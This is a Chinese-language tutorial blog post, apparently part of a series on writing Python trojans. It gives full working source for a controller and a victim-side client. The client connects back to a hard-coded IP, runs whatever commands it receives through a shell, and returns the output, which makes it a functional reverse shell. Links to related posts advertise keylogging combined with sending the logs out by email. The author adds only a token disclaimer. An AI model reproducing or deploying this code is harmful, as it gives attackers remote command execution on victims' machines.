python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写
有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服。我的代码自己运行过,很稳,各位慎重,勿做非法之事
因为是木马入门,所以前几篇比较简单,也只是一个模块搭建,后期我会逐步搭建框架,一周我也只会出两三篇来记录自己的编写历程,所以大佬们亲喷
首先当然是控制端
from socket import *
import os
import time
import subprocess
target = "192.168.67.1"
port = 10002
addr = (target,port)
buff = 1024
tcpSock = socket(AF_INET, SOCK_STREAM)
tcpSock.bind(addr)
tcpSock.listen(5)
while True:
conn,addr=tcpSock.accept()
while True:
data = input("input the command:\n")
conn.send(bytes(data,encoding="utf-8"))
getdata = str(conn.recv(buff),encoding="utf-8")
if not getdata:
break
print(getdata)
tcpSock.close()
再就是被控端
import socket
import os
import subprocess
target = "192.168.67.1"
port = 10002
addr = (target,port)
buff = 1024
cli = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
cli.connect(addr)
while True:
data = str(cli.recv(buff),encoding="utf-8")
if not data:
break
print(data)
f =subprocess.Popen(data,shell=True, stdout=subprocess.PIPE).stdout
redata = bytes(str(f.read()),encoding="utf-8")
cli.sendall(redata)
cli.close()
python trojan development 3rd —— use python to creative a simple shell的更多相关文章
- python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...
- python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的 ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python学习: 如何循序渐进学习Python语言
大家都知道Python语言是一种新兴的编程语言.1989年,Python就由Guido van Rossum发明.Python一直发展态势很好. 原因有几点:1.跨平台性好.Linux.Windows ...
- [IT学习]Learn Python the Hard Way (Using Python 3)笨办法学Python3版本
黑客余弦先生在知道创宇的知道创宇研发技能表v3.1中提到了入门Python的一本好书<Learn Python the Hard Way(英文版链接)>.其中的代码全部是2.7版本. 如果 ...
- 『无为则无心』Python基础 — 3、搭建Python开发环境
目录 1.Python开发环境介绍 2.Python解释器的分类 3.下载Python解释器 4.安装Python解释器 5.Python解释器验证 1.Python开发环境介绍 所谓"工欲 ...
- 【python之路1】python安装与环境变量配置
直接搜索 Python,进入官网,找到下载,根据个人电脑操作系统下载相应的软件.小编的是windows os .下载python-2.7.9.msi 安装包 双击安装程序,进入安装步骤.在安装过程中 ...
随机推荐
- Codeforces 449 B. Jzzhu and Cities
堆优化dijkstra,假设哪条铁路能够被更新,就把相应铁路删除. B. Jzzhu and Cities time limit per test 2 seconds memory limit per ...
- prototype __proto__ Function
我们创建的每个函数都有一个prototype属性,这个属性是一个指针,指向一个对象.(注意:是函数才有prototype属性) 而__proto__属性每一个对象都有. 在js中如果A对象是由B函数构 ...
- 利用反汇编手段解析C语言函数
1.问题的提出函数是 C语言中的重要概念.利用好函数能够充分利用系统库的功能写出模块独立.易于维护和修改的程序.函数并不是 C 语言独有的概念,其他语言中的方法.过程等本质上都是函数.可见函数在教学中 ...
- σ 代数与测度(measures)
1. definition Let A be a collection of subsets(集合的集合体,collection of subsets) of a sample space Ω,A i ...
- 零元学Expression Design 4 - Chapter 7 使用内建功能「Clone」来达成Path的影分身之术
原文:零元学Expression Design 4 - Chapter 7 使用内建功能「Clone」来达成Path的影分身之术 本章所介绍的是便利且快速的内建工具Clone ? 本章所介绍的是便利且 ...
- python3 小技巧(2)
原文 http://blog.csdn.net/jclass/article/details/6145078 一. base64 编码和解码任意的二进制字符串到文本字符串(主要用在HTTP EMAIL ...
- C# ?和??使用讲解
原文:C# ?和??使用讲解 场景1:使用?定义可空类型 众所周知,C#中的值类型是不可以为null的,如果必须为null,则需要将变量定义为可空类型,如下所示: int? age = null; 场 ...
- 常见的选择<数据源协议,委托协议>(IOS发展)
-常见的选择必须满足这两个协议,约定实施.一个为数据源协议 -托付协议负责控制控件UI.事件响应, 实现可选 -数据源协议负责控件与应用数据模型的桥梁,一般必须实现 @interface ViewCo ...
- matlab 求解 Ax=B 时所用算法
x = A\B; x = mldivide(A, B); matlab 在这里的求解与严格的数学意义是不同的, 如果 A 接近奇异,matlab 仍会给出合理的结果,但也会提示警告信息: 如果 A 为 ...
- abp项目 从sql server迁移至mysql
官方资料:https://aspnetboilerplate.com/Pages/Documents/EF-MySql-Integration 实验发现,还差了两步 整理一下,步骤如下: 1.引用My ...